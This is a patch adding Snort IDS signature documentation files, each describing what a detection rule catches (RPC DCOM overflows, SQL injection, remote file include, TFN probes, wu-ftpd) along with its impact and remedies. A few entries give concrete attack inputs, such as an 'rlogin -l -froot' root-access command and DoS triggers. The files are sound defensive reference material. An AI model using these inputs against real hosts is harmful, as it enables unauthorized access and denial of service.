+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1229.txt
+++ snort-2.8.5.2/doc/signatures/1229.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+1229
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/609.txt
+++ snort-2.8.5.2/doc/signatures/609.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 609
+
+--
+Summary: 
+This event is generated due to the use of a suspicious login attempt
+
+-- 
+Impact: 
+Serious. If successful the attacker may have gained superuser access to the host.
+
+--
+Detailed Information: 
+This rule generates an event when a connection is made using "rsh" whilst passing the parameter "-froot".
+
+A bug in some implementations of the "rsh" daemon software allowed remote root access using the "-froot" parameter for the "rsh command"
+
+--
+Attack Scenarios: 
+If a UNIX machine has the "rsh" service running and is vulnerable to this bug, in can be exploited simply by running the "rsh" command with "-froot" flag. For example, rlogin host.foo.com -l -froot
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+Disable the "rsh" service if not used, apply a patch if appropriate.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0113
+
+Arachnids:
+http://www.whitehats.com/info/IDS387
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2841.txt
+++ snort-2.8.5.2/doc/signatures/2841.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2841
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3231.txt
+++ snort-2.8.5.2/doc/signatures/3231.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3231
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000449.txt
+++ snort-2.8.5.2/doc/signatures/100000449.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000449
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "OfficeFlow" application running on a webserver. Access to 
+the file "files.asp" with SQL commands being passed as the "Project" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "Project" parameter in the "files.asp" script used by 
+the "OfficeFlow" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using OfficeFlow
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1724.txt
+++ snort-2.8.5.2/doc/signatures/1724.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1724
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3291.txt
+++ snort-2.8.5.2/doc/signatures/3291.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3291
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2217.txt
+++ snort-2.8.5.2/doc/signatures/2217.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2217
+
+--
+Summary:
+This event is generated when an attempt is made to access printmail.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in Ipswitch IMail 7.04 and earlier.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Ipswitch IMail is a mail server that supports multiple mail protocols. Its web mail implementation contains a vulnerability in printmail.cgi where, if a mailbox name with more than 248 dot characters (.) is requested, the service will crash. It has also been reported that this is caused by a buffer overflow error that may allow an attacker to execute arbitrary code, but this has not been confirmed.
+
+--
+Affected Systems:
+Mail servers running Ipswitch Imail 7.04 and earlier with web mail enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request to printmail.cgi for a mailbox with more than 248 dot characters in the mailbox name parameter. The mail server will crash and must be restarted.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses readmail.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer version or apply the vendor-supplied hotfix available at ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail704.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/3427
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1423.txt
+++ snort-2.8.5.2/doc/signatures/1423.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1423
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/384.txt
+++ snort-2.8.5.2/doc/signatures/384.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+384
+
+--
+Summary:
+This event is generated when an generic ICMP echo request is made.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  This rule alerts on a generic ICMP request where no payload is included in the message or the payload does not match more specific rules. 
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3442.txt
+++ snort-2.8.5.2/doc/signatures/3442.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3442
+
+--
+Summary:
+This event is generated when an attempt is made exploit a known
+vulnerability in Microsoft Windows TCP/IP print services.
+
+--
+Impact:
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Microsoft Windows TCP/IP print services are used to share printers
+attached to Windows based machines with other UNIX based hosts.
+
+Microsoft Windows TCP/IP print services are vulnerable to a DoS when
+processing malformed print requests. Other services may also be affected
+and may need to be restarted to regain functionality should this attack
+be sucessful.
+
+--
+Affected Systems:
+	Microsoft Windows TCP/IP print services for Windows NT
+	Microsoft Windows TCP/IP print services for Windows 2000
+
+--
+Attack Scenarios:
+An attacker can send a malformed print request to port 515 on the server
+hosting the print services and cause the DoS condition.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/221.txt
+++ snort-2.8.5.2/doc/signatures/221.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+221
+
+--
+Summary:
+This event is generated when a host attempts to communicate with a Tribal Flood Network (TFN) DDoS client.
+
+--
+Impact:
+Reconnaissance.  If the listed source IP is in your network, it may be a TFN attacker or it may be probing for another attacker's TFN clients.  If the listed destination IP is in your network, it may be a TFN client. 
+
+--
+Detailed Information:
+The TFN DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, attackers communicate with clients to launch attacks. An attacker may probe for TFN clients using an ICMP echo request with an ICMP identification number of 678 and a string of "1234" in the payload. 
+
+--
+Affected Systems:
+Any TFN compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a TFN client, an attacker may attempt to communicate with it.
+
+--
+Ease of Attack:
+Simple. TFN code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer Stefan Puffer <drsuse@drsuse.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+Arachnids:
+http://www.whitehats.com/info/IDS443
+
+--
--- snort-2.8.5.2.orig/doc/signatures/349.txt
+++ snort-2.8.5.2/doc/signatures/349.txt
@@ -0,0 +1,63 @@
+SID:
+349
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+NcFTP Software NcFTPD 2.3.5
+Washington University wu-ftpd 2.4.2 (beta 18) VR10 
+RedHat wu-ftpd 2.4.2 b18-2 
+Washington University wu-ftpd 2.4.2 academ[BETA-18] 
+Probably others as well, susspect anything under Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000481.txt
+++ snort-2.8.5.2/doc/signatures/100000481.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000481
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Hinton Design PHPHG" application running on a 
+webserver. Access to the file "signed.php" using a remote file being passed as 
+the "phphg_real_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "phphg_real_path" parameter in the "signed.php" script 
+used by the "Hinton Design PHPHG" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Hinton Design PHPHG
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/424.txt
+++ snort-2.8.5.2/doc/signatures/424.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+424
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Registration Request datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Mobile Registration Requests were never implemented and have been replaced by UDP and TCP versions of the message.  ICMP Type 35 datagrams should never be seen in normal network conditions.
+
+--
+
+Detailed Information:
+ICMP Mobile Registration Request datagrams were developed before the development of RFC3344 (IP Mobility Support for IPv4).  Therefore these types of ICMP datagrams should never be seen in normal networking conditions.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 35 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000674.txt
+++ snort-2.8.5.2/doc/signatures/100000674.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000674
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "footer.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "footer.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3419.txt
+++ snort-2.8.5.2/doc/signatures/3419.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3419
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2188.txt
+++ snort-2.8.5.2/doc/signatures/2188.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2188
+
+--
+Summary:
+This event is generated when a suspicious packet using an unusual 
+protocol is sent to a router.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in multiple Cisco IOS versions such that a Denial
+of Service condition can be issued against a device by sending multiple 
+packets using IP protocols 53, 55, 77 and 103 directly to that device.
+
+Cisco IOS processes these packets and under certain circumstances, can 
+be made to incorrectly flag an input interface as being full.
+
+--
+Affected Systems:
+Multiple versions of Cisco IOS.
+
+--
+Attack Scenarios:
+An attacker may send a large number of IP packets using one of the 
+protocols 53, 55, 77 or 103 directly to a router. Exploit code exists.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2180.txt
+++ snort-2.8.5.2/doc/signatures/2180.txt
@@ -0,0 +1,74 @@
+Rule:  
+
+--
+Sid:
+
+2180
+
+--
+Summary:
+
+This event is generated when a BitTorrent client connects to a tracker 
+to gain access to a BitTorrent network.  
+
+--
+Impact:
+
+Possible violation of policy and abuse of network resources.
+
+--
+Detailed Information:
+BitTorrent is a peer-to-peer application used for simultaneous downloads
+of large files.  BitTorrent is designed to allow multiple peers to 
+download large files simultaneously without using extraneous bandwidth 
+from a centralized server.
+
+BitTorrent's centralized server, called a tracker, refers peers to each 
+other. This rule looks for a request sent to a BitTorrent tracker from a
+peer.
+
+--
+Attack Scenarios:
+
+A user downloaded a BitTorrent client and attempts to download files 
+from a BitTorrent network.
+
+--
+Ease of Attack:
+
+Unix, Windows, and MacOS clients are publicly available for BitTorrent.
+
+--
+False Positives:
+
+Other web-based applications could use similar URLs and parameters.
+
+--
+False Negatives:
+
+The URL path "/announce" is hardcoded in the BitTorrent tracker.  If the
+URL was changed in the tracker, then this rule would not generate an 
+event.
+
+--
+Corrective Action:
+
+If this is a violation of network policy, take appropriate steps to 
+prevent further violations.
+
+--
+Contributors:
+
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+
+-- 
+Additional References:
+
+Bittorrent Protocol Specification
+http://bitconjurer.org/BitTorrent/protocol.html
+
+Wikipedia
+http://en.wikipedia.org/wiki/BitTorrent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3250.txt
+++ snort-2.8.5.2/doc/signatures/3250.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3250
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000677.txt
